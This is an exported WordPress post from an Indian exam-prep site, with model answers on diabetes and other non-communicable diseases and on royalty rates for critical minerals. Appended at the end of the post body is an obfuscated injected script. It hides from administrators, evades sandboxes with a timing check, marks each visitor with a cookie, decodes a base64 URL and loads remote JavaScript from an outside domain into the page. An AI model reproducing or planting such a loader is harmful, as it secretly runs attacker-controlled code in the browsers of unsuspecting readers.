{"id":2738,"date":"2025-11-15T04:14:01","date_gmt":"2025-11-15T04:14:01","guid":{"rendered":"https:\/\/iasquest.com\/?p=2738"},"modified":"2026-02-11T18:48:00","modified_gmt":"2026-02-11T18:48:00","slug":"non-communicable-diseases-ncds-royalty-rates-on-critical-minerals","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/non-communicable-diseases-ncds-royalty-rates-on-critical-minerals\/","title":{"rendered":"Non-communicable diseases (NCDs) &#038; Royalty Rates on Critical Minerals"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#f7020b\"><strong>1. \u201cNon-communicable diseases like diabetes pose a major challenge to India\u2019s public health system. Examine the policy responses taken by the government and suggest measures to strengthen preventive healthcare.\u201d<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II \u2013 Issues relating to health, Government policies and interventions for development in various sectors.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> World Diabetes Day 2025: Morning habits that can help you control blood sugar levels naturally<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Non-communicable diseases (NCDs)<\/strong> such as <strong>diabetes, cardiovascular diseases, cancers, and chronic respiratory illnesses<\/strong> are now responsible for <strong>over 60% of deaths in India<\/strong> (WHO, 2023).<br>Rising <strong>urbanization, sedentary lifestyles, and unhealthy diets<\/strong> have made diabetes a major <strong>public health and economic burden<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>1. Challenges posed by NCDs like diabetes:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li>High <strong>disease burden<\/strong> and <strong>out-of-pocket expenditure<\/strong>.<\/li>\n\n\n\n<li><strong>Limited preventive focus<\/strong> in healthcare delivery.<\/li>\n\n\n\n<li><strong>Low awareness and screening rates<\/strong>, especially in rural areas.<\/li>\n\n\n\n<li><strong>Double burden<\/strong> \u2014 coexistence of communicable and non-communicable diseases.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-6\"><a><\/a><strong>2. Government policy responses:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-7\">\n<li><strong>National Programme for Prevention and Control of Cancer, Diabetes, Cardiovascular Diseases and Stroke (NPCDCS)<\/strong><ul><li>Focuses on <strong>screening, early diagnosis, treatment, and health promotion<\/strong> at primary healthcare level.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Operational in most districts under the <strong>National Health Mission (NHM)<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li><strong>Ayushman Bharat \u2013 Health and Wellness Centres (HWCs):<\/strong>\n<ul class=\"wp-block-list\">\n<li>HWCs provide <strong>comprehensive primary care<\/strong>, including <strong>screening for NCDs<\/strong> and health promotion activities.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li><strong>Fit India Movement &amp; Eat Right India Campaign:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Promote <strong>physical fitness and balanced diets<\/strong> to address lifestyle factors.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li><strong>National Digital Health Mission (NDHM):<\/strong>\n<ul class=\"wp-block-list\">\n<li>Enables <strong>digital health records<\/strong> and <strong>continuum of care<\/strong> for chronic diseases like diabetes.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li><strong>PM Jan Arogya Yojana (PM-JAY):<\/strong>\n<ul class=\"wp-block-list\">\n<li>Provides <strong>financial protection<\/strong> for secondary and tertiary NCD treatments.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-12\"><a><\/a><strong>3. Measures to strengthen preventive healthcare:<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Integrate NCD prevention<\/strong> with school, workplace, and community programs.<\/li>\n\n\n\n<li><strong>Tax and regulate<\/strong> high-sugar foods and beverages.<\/li>\n\n\n\n<li><strong>Promote physical activity<\/strong> through urban planning and public spaces.<\/li>\n\n\n\n<li><strong>Strengthen frontline health workforce<\/strong> for regular screening and counselling.<\/li>\n\n\n\n<li><strong>Use digital tools<\/strong> for tracking, telemedicine, and awareness.<\/li>\n\n\n\n<li><strong>Leverage AYUSH systems<\/strong> for preventive lifestyle practices like yoga.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">Addressing NCDs like diabetes requires a <strong>paradigm shift from curative to preventive healthcare<\/strong>. A <strong>whole-of-government and whole-of-society approach<\/strong>, combining <strong>policy regulation, public awareness, and community engagement<\/strong>, is essential to build a <strong>resilient and health-conscious India<\/strong>.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2020)<\/strong> <br><strong>Q.\u201cPublic health system in India suffers from multiple deficiencies. Examine the role of NHP 2017 in addressing them.\u201d<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-15 wp-block-paragraph\" style=\"color:#1a01fa\"><strong>Source:<\/strong><a href=\"https:\/\/m.economictimes.com\/news\/new-updates\/world-diabetes-day-2025-morning-habits-that-can-help-you-control-blood-sugar-levels-naturally\/articleshow\/125296557.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/m.economictimes.com\/news\/new-updates\/world-diabetes-day-2025-morning-habits-that-can-help-you-control-blood-sugar-levels-naturally\/articleshow\/125296557.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-16 wp-block-paragraph\" style=\"color:#fa0202\"><strong>2. Examine how reforms in the mining royalty regime can promote private investment and resource security in India.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III: Economy: Effects of industrial policy, resource distribution, and energy security<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>IN NEWS:<\/strong> Cabinet approves rationalization of royalty rates of Graphite, Caesium, Rubidium and Zirconium minerals critical for Green Energy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">Recent Cabinet approval (Nov 2025) for new royalty rates on critical minerals like graphite, caesium, rubidium, and zirconium signifies India\u2019s move toward market-linked and investment-friendly mining governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Royalty Reforms Promote Private Investment<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>The mining royalty regime defines the share of revenue accruing to the state from mineral extraction. Rational and transparent royalty structures are essential to attract private investment, promote exploration, and ensure equitable utilisation of mineral wealth.<\/li>\n\n\n\n<li>Predictability and Transparency: Moving from fixed per-tonne to ad valorem rates aligns royalties with the market value of minerals, reducing policy uncertainty and attracting investors.<\/li>\n\n\n\n<li>Improved Project Viability: Moderate rates (e.g., 2 % for caesium and rubidium, 1 % for zirconium) lower input costs, improving the internal rate of return for mining firms.<\/li>\n\n\n\n<li>Ease of Doing Business: Simplified royalty structures complement auction-based allocation under the amended MMDR Act (2023), enhancing transparency and investor confidence.<\/li>\n\n\n\n<li>Integration with \u201cCritical Minerals Mission\u201d: Encourages public-private partnerships in exploration, especially for high-technology and green-energy minerals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Contribution to Resource Security<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>Reduced Import Dependence: India currently imports many critical minerals vital for EV batteries, semiconductors, and defence; rationalised royalties incentivise domestic extraction.<\/li>\n\n\n\n<li>Strategic Autonomy: Strengthens self-reliance under Atmanirbhar Bharat and safeguards supply chains amid global geopolitical competition for resources.<\/li>\n\n\n\n<li>Economic Diversification: Encourages downstream industries\u2014battery manufacturing, advanced materials, and clean-energy technology.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Challenges and Safeguards<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>Risk of unsustainable extraction and environmental degradation.<\/li>\n\n\n\n<li>Need for scientific exploration, stronger regulatory capacity, and community benefit-sharing under the District Mineral Foundation (DMF).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">Royalty reforms transform mining from a revenue-centric to a development-oriented sector. When aligned with sustainability norms and technological innovation, they can catalyse private investment, reduce import dependence, and strengthen India\u2019s resource security for the green-energy future.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2023)<\/strong> <br><strong>Q. Discuss India\u2019s policy on strategic minerals and its importance for the country\u2019s economic security.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-26 wp-block-paragraph\" style=\"color:#1a01fa\"><strong>Source:<\/strong><a href=\"https:\/\/m.economictimes.com\/industry\/indl-goods\/svs\/metals-mining\/cabinet-approves-new-royalty-rates-for-critical-minerals-graphite-caesium-rubidium-and-zirconium\/articleshow\/125277656.cms?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/m.economictimes.com\/industry\/indl-goods\/svs\/metals-mining\/cabinet-approves-new-royalty-rates-for-critical-minerals-graphite-caesium-rubidium-and-zirconium\/articleshow\/125277656.cms?utm_source=chatgpt.com<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201cNon-communicable diseases like diabetes pose a major challenge to India\u2019s public health system. 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